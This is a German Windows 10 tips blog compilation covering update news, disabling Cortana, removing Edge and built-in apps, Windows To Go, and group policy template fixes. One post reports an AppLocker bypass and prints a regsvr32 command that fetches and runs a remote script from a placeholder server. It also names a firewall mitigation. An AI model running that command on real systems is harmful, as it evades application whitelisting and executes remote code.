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Windows 10 Version 1607 aka “Anniversary Update” kommt am 29. Juli 2016

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Der Name “Anniversary Update” hatte es schon vermuten lassen, aber jetzt wurde der Erscheinungstermin von Windows 1607 durch Microsoft-Unterlagen bestätigt. Demnach erscheint das nächste große Windows 10 Update am 29. Juli 2016, also genau ein Jahr nach der Einführung von Windows 10. Das Datum wurde in einer Präsentation der WinHEC-Konferenz erwähnt.

Auf die Neuerungen des “Anniversary Updates” bin ich bereits in einem Artikel eingegangen.

Quelle: WinHEC Slides - Introduction of the New Universal Dev Center for Hardware

Quelle: Microsoft / WinHEC Slides – Introduction of the New Universal Dev Center for Hardware

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Cortana deaktivieren ab Windows 10 Version 1607

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In meinem Artikel “Windows 10: Cortana deaktivieren, Offline-Suche aktivieren” habe ich bereits beschrieben, wie sich Cortana bis Windows 10 Version 1511 (Build 10586) deaktivieren lässt. Mit dem aufkommenden Anniversary Update funktioniert diese Methode allerdings nicht mehr. Nachfolgend die neuen Möglichkeiten, wie Cortana ab Windows 10 Version 1607 bzw. Build 14328 deaktiviert werden kann.

Möglichkeit 1: Editor für lokale Gruppenrichtlinien

Diese Möglichkeit existiert nur unter Windows 10 Pro oder Enterprise.

  1. Den Ausführen-Dialog (Windows-Taste + R) öffnen und “gpedit.msc” eingeben.
  2. Unter “Computerkonfiguration” zu “Administrative Vorlagen”, “Windows-Komponenten” und “Suche” wechseln.
  3. Im rechten Fensterbereich die beiden Optionen “Cortana zulassen” und “Der Suche und Cortana die Nutzung von Positionsdaten erlauben” auf “Deaktiviert” stellen.
  4. Zusätzlich könnt ihr auch die Websuche deaktivieren. Dazu müssen die beiden Optionen “Websuche nicht zulassen” und “Nicht im Web suchen und keine Webergebnisse in der Suche anzeigenaktiviert werden.
  5. Nach einem Neustart der “Explorer.exe” oder des kompletten PCs ist Cortana deaktiviert.

Möglichkeit 2: Registrierungs-Editor

Ab Windows 10 Version 1803 funktioniert die Abschaltung der Websuche nicht mehr so wie hier beschrieben. Weitere Infos findet ihr in meinem Beitrag “Cortana-Websuche deaktivieren ab Windows 10 Version 1803“.

Die zweite Möglichkeit via Registry funktioniert unter allen Windows 10 Editionen.

  1. Den Ausführen-Dialog (Windows-Taste + R) öffnen und “regedit” eingeben, damit der Registrierungs-Editor geöffnet wird.
  2. Anschließend zu folgendem Pfad navigieren:
    HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Windows Search
  3. Wenn der Schlüssel “Windows Search” im linken Verzeichnisbaum nicht vorhanden ist, muss dieser von Hand erstellt werden.
  4. Darunter muss dann ein neuer “DWORD-Wert (32-Bit)” mit dem Namen “AllowCortana” und dem Wert “0” erstellt werden.
  5. Unter Windows 10 x64 muss dieser DWORD-Wert auch noch unter folgendem Pfad angelegt werden:
    HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows\Windows Search
  6. Falls die Websuche auch deaktiviert werden soll, müssen zusätzlich die DWORD-Werte “AllowSearchToUseLocation” (“0“), “ConnectedSearchUseWeb” (“0“), “DisableWebSearch” (“1“) und “ConnectedSearchPrivacy(3) erstellt werden (siehe Screenshot).
  7. Zur Deaktivierung von Cortana muss die “Explorer.exe” oder der gesamte PC neugestartet werden.

Zur einfacheren Umsetzung biete ich eine Registrierungsdatei an, die alle Änderungen in der Registry automatisch durchführt.


“Apps deaktivieren, um die Leistung zu verbessern”-Meldung im Info-Center unter Windows 10 deaktivieren

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Unter Windows 10 wird im Info-Center eine Meldung angezeigt, wenn mindestens drei neue Apps automatisch gestartet und im Hintergrund ausgeführt werden: “Apps deaktivieren, um die Leistung zu verbessern”.

Dieser Hinweis ist für viele Nutzer störend und könnte den ein oder anderen auch verwirren. Glücklicherweise kann er relativ einfach entfernt werden.

Die Meldung wird durch eine geplante Aufgabe angestoßen, die ihr ohne Probleme deaktivieren könnt. Ihr findet die Aufgabe in der Aufgabenplanung unter “Windows”, “Application Experience” und “StartupAppTask”. Dort müsst ihr die Aufgabe deaktivieren. Ab dem nächsten Neustart sollte die nervige Meldung nicht mehr erscheinen.

 

Natürlich kann der Task auch automatisch via Skript deaktiviert werden, beispielsweise via Gruppenrichtlinie oder nach der Installation des Betriebssystems. Dazu wird eine Eingabeaufforderung (“cmd.exe”) mit Administrationsrechten benötigt:

schtasks /Change /TN "\Microsoft\Windows\Application Experience\StartupAppTask" /DISABLE

Bei einigen wenigen Usern soll das Deaktivieren der Aufgabe angeblich keine Abhilfe schaffen. In diesem Fall soll aber die zweite Methode erfolgreich sein. Dazu müsst ihr in der Systemsteuerung den Punkt “Sicherheit und Wartung” öffnen. Mit einem Klick auf “Meldungen zu Start-Apps deaktivieren” könnt ihr die störende Meldung ebenfalls eliminieren. Allerdings funktioniert dieser Tipp erst, sobald die Meldung im Info-Center erschienen ist.

Windows-Schwachstelle erlaubt Umgehung von AppLocker

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Das Sicherheitsfeature AppLocker wurde mit Windows 7 eingeführt (nur bei Enterprise bzw. Ultimate vorhanden) und kommt hauptsächlich in Unternehmen zum Einsatz. AppLocker ermöglicht die Steuerung von Anwendungen, App-Paketen, DLLs und Skripten. Damit lassen sich beispielsweise bestimmte Programme auf Black- oder Whitelists setzen. In letzter Zeit wird AppLocker auch häufig gegen Malware und Ransomware eingesetzt, um ungewünschte Aktivitäten auf Systemen zu blockieren. Allerdings wurde jetzt eine Schwachstelle bekannt, wie sich die AppLocker-Ausführungsregeln relativ leicht umgehen lassen.

Der Sicherheitsforscher Casey Smith hat eine Schwachstelle entdeckt, wobei AppLocker mit Hilfe des Befehlszeilenprogramms “Regsvr32” (Microsoft Register Server) ausgehebelt werden kann. Regsvr32 wird üblicherweise zum Registrieren von DLL-Dateien verwendet, was im Normalfall allerdings Administratorrechte erfordert. Jetzt kommt der spannende Punkt: Wenn man dem Register Server eine JavaScript- oder VBScript-Datei übergibt, wird diese ohne weitere Nachfrage ausgeführt. Auch AppLocker greift hierbei nicht und es werden auch keine Administratorrechte angefordert.

regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll

Mit dieser Technik lassen sich auch Skripte über HTTP oder HTTPS nachladen, da Regsvr32 auch URLs akzeptiert. Da keine Änderungen an der Registry durchgeführt werden, ist ein Missbrauch auch relativ schwer zu erkennen. Bei Github existiert ein Proof of Concept mit einigen Beispiel-Skripten.

Microsoft wurde bereits über das Problem informiert, hat sich aber noch nicht zu Wort gemeldet. Bis dahin kann “regsvr32.exe” über die Windows Firewall blockiert werden, sodass zumindest eine Ausführung über das Netzwerk verhindert werden kann.

Windows 10: Microsoft Edge entfernen

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Microsoft Edge ist der neue Standardbrowser unter Windows 10. Doch viele Benutzer können mit dem Browser nichts anfangen, da noch einige wichtige Funktionen fehlen, er sich nur spärlich konfigurieren lässt, einige Webseiten nur mit Darstellungsfehlern angezeigt werden und er alles in allem unfertig wirkt. Zu allem Überfluss kommt Microsoft Edge als sogenannte System-App daher, die sich leider nicht deinstallieren lässt, auch nicht per PowerShell. Allerdings existiert ein Weg, wie man Edge deaktivieren bzw. entfernen kann.

Hierzu öffnet ihr den Explorer und navigiert zum Ordner “C:\Windows\SystemApps“. Dort befinden sich alle System-Apps von Windows 10. Zur Deaktivierung müsst ihr den Ordner der entsprechenden App einfach nur umbenennen. Alternativ kann der Ordner auch gelöscht werden, was ich jedoch nicht empfehlen würde. Der Ordner für Edge besitzt die Bezeichnung “Microsoft.MicrosoftEdge_8wekyb3d8bbwe”.

Microsoft Edge entfernen

Im Grunde seid ihr nun schon fertig. Durch die Umbenennung kann Windows den Edge-Ordner nicht mehr finden. Im Startmenü und der Suche bleibt Edge weiterhin sichtbar, lässt sich aber nicht mehr starten. Des Weiteren besteht die Möglichkeit, dass Microsoft Edge mit einem zukünftigen Windows Update wieder aktiviert werden könnte.

Insgesamt ist die oben beschriebene Methode also nur ein halb garer Versuch zur Deinstallation von Edge. Viel mehr ist derzeit aber nicht möglich.

Windows 10 Apps entfernen

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Es existieren mehrere Möglichkeiten um Apps unter Windows 10 zu entfernen. So können sie unter anderem direkt im Startmenü, über die Einstellungen (System, Apps & Features) oder im Windows Store deinstalliert werden. Allerdings funktioniert diese Vorgehensweise nicht bei vorinstallierten Apps. Diese sind in Windows 10 integriert und lassen sich nicht über die oben genannten Wege entfernen. Wie unter Windows 8.1 lautet die Lösung PowerShell.

Einzelne Apps unter Windows 10 entfernen

Zuerst muss die PowerShell mit Administratorrechten gestartet werden. Anschließend können die einzelnen Apps mit folgenden Befehlen deinstalliert werden.

3D Builder deinstallieren

Get-AppxPackage *3d* | Remove-AppxPackage

Alarm & Uhr deinstallieren

Get-AppxPackage *windowsalarms* | Remove-AppxPackage

Begleiter für Telefon deinstallieren

Get-AppxPackage *windowsphone* | Remove-AppxPackage

Erste Schritte deinstallieren

Get-AppxPackage *getstarted* | Remove-AppxPackage

Filme & TV deinstallieren

Get-AppxPackage *zunevideo* | Remove-AppxPackage

Finanzen deinstallieren

Get-AppxPackage *bingfinance* | Remove-AppxPackage

Food & Drink deinstallieren

Get-AppxPackage *bingfood* | Remove-AppxPackage

Fotos deinstallieren

Get-AppxPackage *photos* | Remove-AppxPackage

Gesundheit & Fitness deinstallieren

Get-AppxPackage *binghealth* | Remove-AppxPackage

Groove-Musik deinstallieren

Get-AppxPackage *zunemusic* | Remove-AppxPackage

Kalender & Mail deinstallieren

Get-AppxPackage *windowscommunicationsapps* | Remove-AppxPackage

Kamera deinstallieren

Get-AppxPackage *windowscamera* | Remove-AppxPackage

Karten deinstallieren

Get-AppxPackage *windowsmaps* | Remove-AppxPackage

Kontakte deinstallieren

Get-AppxPackage *people* | Remove-AppxPackage

Microsoft Solitaire Collection deinstallieren

Get-AppxPackage *solitairecollection* | Remove-AppxPackage

Microsoft Wi-Fi deinstallieren

Get-AppxPackage *connectivitystore* | Remove-AppxPackage

Nachrichten deinstallieren

Get-AppxPackage *bingnews* | Remove-AppxPackage

Nachrichten deinstallieren

Get-AppxPackage *messaging* | Remove-AppxPackage

Office holen deinstallieren

Get-AppxPackage *officehub* | Remove-AppxPackage

OneNote deinstallieren

Get-AppxPackage *onenote* | Remove-AppxPackage

Reader deinstallieren

Get-AppxPackage *reader* | Remove-AppxPackage

Reading List deinstallieren

Get-AppxPackage *reading* | Remove-AppxPackage

Rechner deinstallieren

Get-AppxPackage *windowscalculator* | Remove-AppxPackage

Skype UWP Preview deinstallieren

Get-AppxPackage *skypeapp* | Remove-AppxPackage

Sport deinstallieren

Get-AppxPackage *bingsports* | Remove-AppxPackage

Sprachrekorder deinstallieren

Get-AppxPackage *soundrecorder* | Remove-AppxPackage

Store deinstallieren

Get-AppxPackage *windowsstore* | Remove-AppxPackage

Sway deinstallieren

Get-AppxPackage *sway* | Remove-AppxPackage

Telefon deinstallieren

Get-AppxPackage *commsphone* | Remove-AppxPackage

Travel deinstallieren

Get-AppxPackage *bingtravel* | Remove-AppxPackage

Wetter deinstallieren

Get-AppxPackage *bingweather* | Remove-AppxPackage

Xbox deinstallieren

Get-AppxPackage *xboxapp* | Remove-AppxPackage

Die oben aufgeführten Befehle deinstallieren die Apps nur für den aktuell verwenden Benutzeraccount. Möchte man die Apps für alle Benutzer deinstallieren, muss jeweils noch “-allusers” angefügt werden. Hier ein Beispiel:

Get-AppxPackage -allusers *getstarted* | Remove-AppxPackage

Alle Apps unter Windows 10 entfernen

Die Apps sind unter Windows 10 noch tiefer mit dem System verbunden, wie unter Windows 8.1. Aus diesem Grund sollte man die Apps nur löschen, wenn man dies als unbedingt notwendig erachtet und die möglichen Komplikationen vor Augen hat. Es können unter anderem Probleme mit dem Startmenü, Cortana oder den Benachrichtigungen entstehen. Außerdem kann das Entfernen der Standard-Apps bei zukünftigen Windows Updates zu Problemen führen.

Anstatt alle installierten Apps einzeln zu entfernen, können sie auch mit einem einzigen Befehl deinstalliert werden:

Get-AppxPackage | Remove-AppxPackage

Während der oben genannte Befehl nur für den aktuell angemeldeten Benutzer gilt, existiert natürlich auch das Pendant für alle User:

Get-AppxPackage -allusers | Remove-AppxPackage

Zudem lassen sich die Apps auch aus dem Windows-Image entfernen, d.h. neu angelegte Benutzerkonten werden ohne Apps angelegt.

Get-AppXProvisionedPackage -online | Remove-AppxProvisionedPackage -online

Windows 10 Standard Apps wieder installieren

Wer die Standard Apps von Windows 10 wieder installieren möchte kann diesen Befehl nutzen:

Get-AppxPackage -AllUsers| Foreach {Add-AppxPackage -DisableDevelopmentMode -Register "$($_.InstallLocation)\AppXManifest.xml"}

Windows 10 Version 1511 landet im Current Branch for Business (CBB)

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Das erste große Update für Windows 10 ist am 12. November 2015 erschienen. Jetzt steht Windows 10 Version 1511 (Build 10586) im “Current Branch for Business” (CBB) für Geschäftskunden bereit. Damit ist das Feature-Update rund einen Monat später im CBB verfügbar, als eigentlich von Microsoft vorgesehen war. Die Roadmap von Microsoft sieht normalerweise vor, dass eine neue Version ca. vier Monate nach der Veröffentlichung im Current Branch (CB) in den CBB wandert, wo sie dann ca. acht Monate getestet werden kann. Insgesamt stehen also zwölf Monate zur Verfügung, bevor eine neue Version in der Produktivumgebung ausgerollt werden muss.

Alle Computer im Current Branch, bei denen die Update-Option “Upgrades zurückstellen” aktiviert ist, bekommen Windows 10 1511 in wenigen Tagen automatisch ausgerollt. Computer im CBB könnten dann zeitgleich auch auf Version 1511 gehoben werden. Allerdings werden die meisten Kunden hier vermutlich die achtmonatige Testphase nutzen, bevor sie das Update ausrollen. Wer die Frist jedoch verstreichen lässt, bekommt gar keine Updates mehr, auch keine Sicherheitsrelevanten. Wer nach insgesamt zwölf Monaten nicht updaten kann bzw. möchte, sollte auf den “Long Term Service Branch” wechseln, denn dort gibts bis zu zehn Jahre Updates, ohne ein Feature-Update einzuspielen.

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Nächstes Windows 10 Update kommt im Juli und heißt offiziell “Anniversary Update”

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Im Rahmen der heute gestarteten Entwicklerkonferenz Build 2016 hat Microsoft ein paar Informationen über das nächste Windows 10 Update veröffentlicht. Der offizielle Name lautet “Anniversary Update”. Die neue Version wurde bisher unter dem Codenamen “Redstone” entwickelt und soll im Sommer 2016 als kostenloses Update für Windows 10 erhältlich sein. Obwohl Microsoft noch keinen genauen Veröffentlichungstermin verlauten ließ, sprechen einige Quellen von Juli 2016. Außerdem gab Microsoft bekannt, dass Windows 10 mittlerweile auf über 270 Millionen Geräten installiert ist.

Das Anniversary Update wird für alle Geräte mit Windows 10 erscheinen. Neben PCs sowie Notebooks werden also auch Tablets, Smartphones, die Xbox One und die Microsoft HoloLens in den Genuss der neuen Version kommen. Die bisher angekündigten Neuerungen halten sich jedoch in Grenzen:

  • Neue Features für Windows Hello (Anmeldung via biometrischen Daten soll auch in Apps und Microsoft Edge möglich sein)
  • Windows Defender erlaubt nun automatisch periodische Schnellscans und zeigt erweiterte Benachrichtigungen an
  • Windows Defender Advanced Threat Protection (WDATP)
  • Windows Information Protection (ehemals Enterprise Data Protection) erlaubt Trennung von von persönlichen Daten und Unternehmensdaten
  • Windows Ink: Verbesserte Eingabe per Stift (Stifteingabe mit Cortana verknüpft, neue Funktionen in Notizen-App, Kommentar-Funktion für Edge, Handschrifteingabe in Office, virtuelles Lineal, eigene Routen in Maps zeichnen)
  • Cortana auch auf dem Sperrbildschirm neue Assistenz-Funktionen verfügbar
  • Erweiterungen für Microsoft Edge, bessere Effizienz soll für längere Akkulaufzeit sorgen
  • Universal Windows Platform (UWP) und Unified Windows Store
  • Verbessertes Info-Center
  • Minimales Ubuntu-System für Windows 10 bringt unter anderem native Unix-Shell Bash und Kommandozeilenwerkzeuge wie Emacs, …

Genaua Details über das Anniversary Update hat Microsoft noch nicht veröffentlicht. Im Laufe der nächsten zwei Tage sollten hier aber weitere Informationen folgen.

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Kostenloses Upgrade auf Windows 10: Mainboardwechsel bedeutet Lizenzverlust

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Die kostenlose Upgrademöglichkeit von Windows 7 oder Windows 8.1 auf Windows 10 ist noch bis 29. Juli 2016 verfügbar. Die Frist endet also in rund vier Monaten und mit dem kommenden Redstone-Update werden höchstwahrscheinlich nochmals einige Nutzer das Angebot annehmen. Dabei sollte einem aber klar sein, dass die dann installierte Windows 10 Version an die Hardware gebunden ist. Microsoft hatte diese Tatsache in der Vergangenheit zwar nicht so klar kommuniziert, allerdings konnte man dies schon vermuten. HT4U hat in einem Gespräch mit Microsoft nun die endgültige Bestätigung dafür erhalten.

Demnach sind alle Windows-10-Lizenzen, die durch das Kostenlosangebot erworben wurden, wie gewöhnliche OEM-Lizenzen zu behandeln. Eine Aufrüstung des Rechners ist dann nur noch bis zu einer gewissen Grenze möglich. Ein Austausch der Grafikkarte oder eine Aufrüstung des Arbeitsspeichers sind laut Aussage von Microsoft unproblematisch. Ebenso dürfte es auch beim Wechsel des Prozessors oder der Festplatte keine Probleme geben, auch wenn Microsoft sich hierzu nicht geäußert hat. Faktisch ist alles erlaubt außer ein Mainboardwechsel, der automatisch einem Lizenzverlust gleichzusetzen ist. Normal gekaufte Windows-10-Retail-Lizenzen sind von dieser Problematik natürlich nicht betroffen.

Spitzfindige Nutzer argumentieren jetzt sicherlich, dass in Deutschland OEM- wie Retail-Lizenzen zu behandeln sind und keine Hardwarebindung zulässig sei. Ich sehe das Ganze so, dass es sich um spezielle Upgrade-Lizenzen handelt, bei denen die aktuelle Rechtslage nicht klar auszulegen ist. Microsoft spricht von einer Windows-10-Lizenz “für die unterstützte Lebenszeit des Geräts bzw. der Hardware”. Bei einem Mainboardwechsel erlischt diese Lebenszeit, was übrigens auch nach der deutschen Rechtsprechung zulässig sein sollte. Im Zweifel werden aber sicherlich einige Klagen folgen und die Gerichte dann entscheiden müssen…

So wie es aktuell aussieht müssen Nutzer des kostenlosen Windows-10-Upgrades bei einem Mainboardwechsel entweder eine Retail-Lizenz von Windows 10 erwerben oder wieder ihr altes Windows 7 bzw. 8.1 installieren. Aber vielleicht lässt sich Microsoft bis zum 29. Juli 2016 noch eine Kompromisslösung einfallen. Die Hoffnung stirbt zuletzt.

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Windows 10 Updates ab sofort mit ausführlichem Changelog

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Im Oktober 2015 hat Microsoft versprochen, dass zukünftig genauer kommuniziert werden soll, welche Änderungen und Fehlerbeseitigungen in den Windows 10 Updates stecken. Mit dem gestern veröffentlichten kumulativen Update KB3135173 für Windows 10 ist es nun so weit.

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Mehr Informationen

Auf der Seite Windows 10 update history ist ab sofort ein ausführliches Changelog inklusive aller Korrekturen und Änderungen verfügbar. In Zukunft werden dort Details zu jedem neuen Update erscheinen. Aktuell ist die Seite nur in Englisch verfügbar. Ob die Seite zukünftig auch in anderen Sprachen verfügbar sein wird ist derzeit nicht bekannt.

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Windows To Go: USB-Stick mit Windows 10 erstellen

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Die normale Installationsroutine von Windows erlaubt lediglich eine Installation auf Festplatten, eine Windows-Installation auf USB-Sticks ist damit nicht möglich. Dennoch gibt es Möglichkeiten eine Installation von Windows auf USB-Sticks durchzuführen, allerdings mit einigem Aufwand und teilweise ziemlich viel Gefrickel. Microsoft hat mittlerweile aber reagiert und mit “Windows To Go” eine offizielle Unterstützung für die Windows-Installation auf einem USB-Stick veröffentlicht. Allerdings ist dieses Feature nur für Unternehmen vorgesehen, die einen Software-Assurance-Vertrag mit Microsoft abschließen. Außerdem existiert “Windows To Go” erst seit Windows 8 und ist nur bei den Enterprise-Versionen möglich.

Obwohl “Windows To Go” bei allen anderen Windows-Versionen offiziell fehlt, ist die Grundfunktionalität jedoch enthalten. Privatanwender können also beispielsweise auch Windows 8.1 Home oder Windows 8.1 Pro auf einem USB-Stick installieren. Einziger Nachteil dabei ist, dass diese Windows-Versionen ohne KMS-Unterstützung (Key Management Service) daherkommen und die Zwangsaktivierung dazwischenschlägt. Wenn der USB-Stick aber immer am gleichen PC genutzt wird, stellt dies kein Problem dar. Wie bei einer normalen Installation auf der Festplatte kann Windows To Go mit einem Key aktiviert werden. Wird das Windows allerdings auf einem anderen PC gebootet, geht die Aktivierung verloren.

Windows To Go schnell und einfach mit Rufus erstellen

In den Enterprise-Versionen ab Windows 8 ist ein kleines Tool enthalten, mit dessen Hilfe die Einrichtung auf einem USB-Stick erfolgen kann. Bei allen anderen Windows-Versionen kann man die Windows To Go-Einrichtung per Hand erledigen, was aber wie bereits oben beschrieben relativ aufwändig ist. Bei Günter Born gibts eine ausführliche Anleitung dazu.

Viel einfacher und schneller kommt man jedoch mit Rufus ans Ziel. Das kleine Tool habe ich bereits mehrfach in meinem Blog erwähnt. Ab Version 2 unterstützt Rufus die Erzeugung von Windows To Go-Installationen. Nachfolgend ein kurzer Überblick der Voraussetzungen:

  • Rufus ab Version 2.0
  • Rufus muss zwingend unter Windows 8 oder neuer ausgeführt werden, unter Windows 7 lassen sich keine Windows To Go-Installationen erzeugen.
  • Es wird empfohlen den Windows To Go-Stick mindestens unter der Windows-Version zu erstellen, die auch für den Stick zum Einsatz kommt. Im Klartext bedeutet dies, dass ein Windows 10 Version 1511 USB-Stick nur unter Windows 10 Version 1511 oder neuer erstellt werden sollte. In meinem Test hat dies zwar auch unter Windows 8.1 funktioniert, was aber nichts bedeuten muss.
  • Als Quelle muss eine “normale” Windows-ISO-Datei verwendet werden. ISO-Dateien die beispielsweise vom Media Creation Tool erzeugt werden, funktionieren nicht (die darin enthaltende “install.wim” kann von Rufus nicht extrahiert werden).
  • Bei UEFI-Systemen ist zwingend eine 64-Bit-Window-ISO erforderlich.
  • Zuletzt sollte der USB-Stick mindestens 32 GByte groß sein.

Im Hauptfenster von Rufus muss zunächst der gewünschte USB-Stick und eine ISO-Datei ausgewählt werden. Letzteres ist mit Klick auf die Option “Startfähiges Laufwerk erstellen mit” “ISO-Abbild” und einem Klick auf das Laufwerk-Icon möglich. Erst jetzt wird die Option “Windows To Go” (siehe Screenshot) eingeblendet. Diese Option muss nun ausgewählt werden. Im Prinzip ist man nun fertig und kann die Erzeugung des Windows To Go-Sticks mit einem Klick auf den Button “Start” beginnen.

Rufus - Windows To Go

In vielen Fällen wird jetzt allerdings eine Fehlermeldung erscheinen. Windows To Go setzt einen USB-Stick voraus, welcher sich am Betriebssystem als “Fixed Media” meldet, quasi wie eine Festplatte. Microsoft führt eine Liste von Windows To Go zertifizierten USB-Sticks. Diese sind aber kaum erhältlich, und falls doch, viel zu teuer. Ein schneller Ausweg ist die Verwendung einer USB-Festplatte, was jedoch in vielen Fällen nicht in Frage kommt.

Rufus - Windows To Go

In vielen Fällen funktionieren aber auch normale USB-Sticks, auch wenn diese nicht offiziell unterstützt werden. Mein hier verwendeter SanDisk Extreme Pro mit 128 GByte funktioniert auf jeden Fall tadellos. Auch der kleinere Bruder in Form des SanDisk Extreme mit 64 GByte verrichtet seinen Dienst ohne Probleme. Davon abgesehen kann ich diese beiden USB-Sticks mehr als empfehlen, da sie über einen SSD-Controller verfügen und bei kleinen Dateien sehr schnell arbeiten, was für einen flüssigen Windows To Go-Betrieb sehr wichtig ist. Der Vergleich mit einem unter normalen Umständen sehr schnellen Kingston DataTraveler HyperX 3.0 mit 128 GByte zeigt, dass die beiden USB-Sticks von SanDisk um ein Vielfaches schneller sind.

Sollte Windows To Go beim Booten einfrieren, existiert noch eine zweite Möglichkeit. Rufus verwendet bei Windows To Go standardmäßig das Partitionsschema “MBR Partitionierungsschema für BIOS oder UEFI”. Ein Wechsel auf “MBR Partitionierungsschema für UEFI” sorgt in vielen Fällen für ein lauffähiges Windows To Go, allerdings nur bei UEFI-Systemen.

Windows 10 Gruppenrichtlinien: Administrative Templates aktualisieren und mögliche Fehler

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Mit Windows Vista bzw. Windows Server 2008 wurden die administrativen Templates für die Gruppenrichtlinien überarbeitet. Seitdem werden sie im XML-Format als ADMX-Datei bereitgestellt. Die dazugehörigen Sprachdateien stehen als ADML-Dateien zur Verfügung. Innerhalb einer Domäne werden die administrativen Vorlagen an einer zentralen Stelle auf den einzelnen Domain Controllern (DCs) abgelegt: “\\domain.fqdn\SYSVOL\domain.fqdn\Policies\PolicyDefinitions”. Dieser zentrale Speicherort wird im Englischen “Central Store” genannt. Durch dieses Feature wird die Pflege der administrativen Vorlagen deutlich vereinfacht, da der Central Store automatisch über alle DCs hinweg repliziert wird.

Sind jetzt neue administrative Templates verfügbar, beispielsweise beim Erscheinen einer neuen Windows-Version, müssen die alten Vorlagen in der Theorie nur mit den neuen Templates überschrieben werden. Doch in der Praxis funktioniert dies leider nicht immer so einfach. Beim Update der DCs mit den administrativen Templates von Windows 10 gibt es einige Ungereimtheiten und Fehler, die ich nachfolgend genauer beschreiben möchte.

Die administrativen Templates für Windows 10 können direkt bei Microsoft heruntergeladen werden. Neben der RTM-Version sind auch die Vorlagen von Windows 10 Version 1511 erhältlich. Mit der “Group Policy Settings Reference” Excel-Tabelle stellt Microsoft darüber hinaus eine Übersicht aller Gruppenrichtlinien zur Verfügung. Diese ist aktuell aber noch auf dem Stand von Windows 10 RTM, die Änderungen von Version 1511 sind noch nicht enthalten.

Administrative Templates Windows 10 RTM

Nach dem Einfügen der neuen administrativen Templates von Windows 10 RTM in den Central Store erscheint folgende Fehlermeldung:

Namespace ‘Microsoft.Policies.Sensors.WindowsLocationProvider’ is already defined as the target namespace for another file in the store.

File \\domain.fqdn\sysvol\domain.fqdn\Policies\PolicyDefinitions\Microsoft-Windows-Geolocation-WLPAdm.admx, line 5, column 110

Microsoft.Policies.Sensors.WindowsLocationProvider

Der Fehler wird durch eine umbenannte Vorlage verursacht, die jetzt zwei Mal vorhanden ist. Folgendermaßen kann der Fehler beseitigt werden:

  • Die Windows-8-Vorlage “LocationProviderADM.admx” und die dazugehörige Sprachdatei “LocationProviderADM.adml” löschen
  • Die Windows-10-Vorlage “Microsoft-Windows-Geolocation-WLPAdm.admx” zu “LocationProviderADM.admx” umbenennen.
  • Die Windows-10-Sprachdatei von “Microsoft-Windows-Geolocation-WLPAdm.adml” in “LocationProviderADM.adml” umbenennen.

Auch Microsoft empfiehlt dieses Vorgehen.

Darüber hinaus kann zusätzlich der folgende Fehler auftreten:

Resource ‘$(string.SUPPORTED_Vista_through_Win7)’ referenced in attribute displayName could not be found.

File \\domain.fqdn\sysvol\domain.fqdn\Policies\PolicyDefinitions\PreviousVersions.admx, line 11, column 111.

Dieser wurd durch eine fehlende Übersetzung in der “PreviousVersions.adml” hervorgerufen. In der deutschen Übersetzung (Ordner “de-DE”) fehlt zwischen Zeile 56 und 57 eine Zeile. Zur Fehlerbehebung entweder die fehlende Zeile

<string id="SUPPORTED_Vista_through_Win7">Windows Vista durch Windows 7 unterstützt</string>

manuell einfügen oder die alte “PreviousVersions.adml” wiederherstellen. Alternativ kann auch die neue “PreviousVersions.adml” von Windows 10 Version 1511 genutzt werden, die ebenfalls wieder in Ordnung ist. Offensichtlich scheint diese Zeile auch bei ein paar anderen Sprachen zu fehlen.

Administrative Templates Windows 10 Version 1511

Der folgende Fehler lässt darauf schließen, dass offensichtlich auch hier eine administrative Vorlage umbenannt wurde.

Namespace ‘Microsoft.Policies.WindowsStore’ is already defined as the target namespace for another file in the store.

File \\domain.fqdn\sysvol\domain.fqdn\Policies\PolicyDefinitions\WinStoreUI.admx, line 4, column 80

Die schuldige Vorlage ist schnell erkannt: “WinStoreUI.admx” wurde in Version 1511 in “WindowsStore.admx” umbenannt.

  • Die Windows-8-Vorlage “WinStoreUI.admx” und die dazugehörige Sprachdatei “WinStoreUI.adml” löschen
  • Die Windows-10-Vorlage “WindowsStore.admx” zu “WinStoreUI.admx” umbenennen.
  • Die Windows-10-Sprachdatei von “WindowsStore.adml” in “WinStoreUI.adml” umbenennen.

Bei Microsoft existiert noch kein Artikel über den Fehler, dafür aber z.B. hier.

OneDrive-Einstellungen wurden entfernt

Normalerweise müssen die alten administrativen Vorlagen einfach nur mit den neuen überschrieben werden. Dabei sollten alle bisher vorhandenen Einstellungen nach wie vor verfügbar sein. Auf zwei OneDrive-Einstellungen trifft dies jedoch nicht zu.

Bei den administrativen Templates von Windows 8.1 Update stehen folgende drei Einstellungen zur Verfügung:

Ab Windows 10 ist nur noch die Einstellung “Prevent the usage of OneDrive for file storage” vorhanden. Dieses Verhalten ist bei Microsoft nicht dokumentiert, wird aber z.B. hier oder hier erwähnt.

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Überprüfen, wie Windows gestartet wurde (Schnellstart oder nicht)

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Mit Windows 8 hat Microsoft das Startverhalten des Betriebssystems stark angepasst. Das Hauptziel war die Bootzeit deutlich zu verringern. Abgesehen von einigen Problemen, auf die ich hier nicht weiter eingehen möchte, wurde dies auch erfolgreich realisiert. Das entsprechende Feature nennt sich Schnellstart, wird aber oft auch als Fast Boot oder mit der englischen Bezeichnung Fast startup bezeichnet.

Leider ist es oft nicht ganz klar, ob der Schnellstart wirklich funktioniert und wie Windows das letzte Mal gestartet wurde. Nachfolgend ein kurzer PowerShell-Befehl, der euch diese Frage beantwortet.

Get-WinEvent -ProviderName Microsoft-Windows-Kernel-boot -MaxEvents 60 | Where-Object {$_.id -like "27"};

Anschließend wird eine Liste der letzten Bootvorgänge angezeigt. Die Spalte “Message” enthält die von uns gesuchte Information. Dort können drei unterschiedliche Werte aufgeführt werden:

  • 0x0 – Normaler Start nach einem vollständigen Shutdown.
  • 0x1 – Schnellstart nach einem hybriden Shutdown.
  • 0x2 – Fortsetzen aus dem Ruhezustand.

Windows 10 ISO Download

Windows 10 Logo

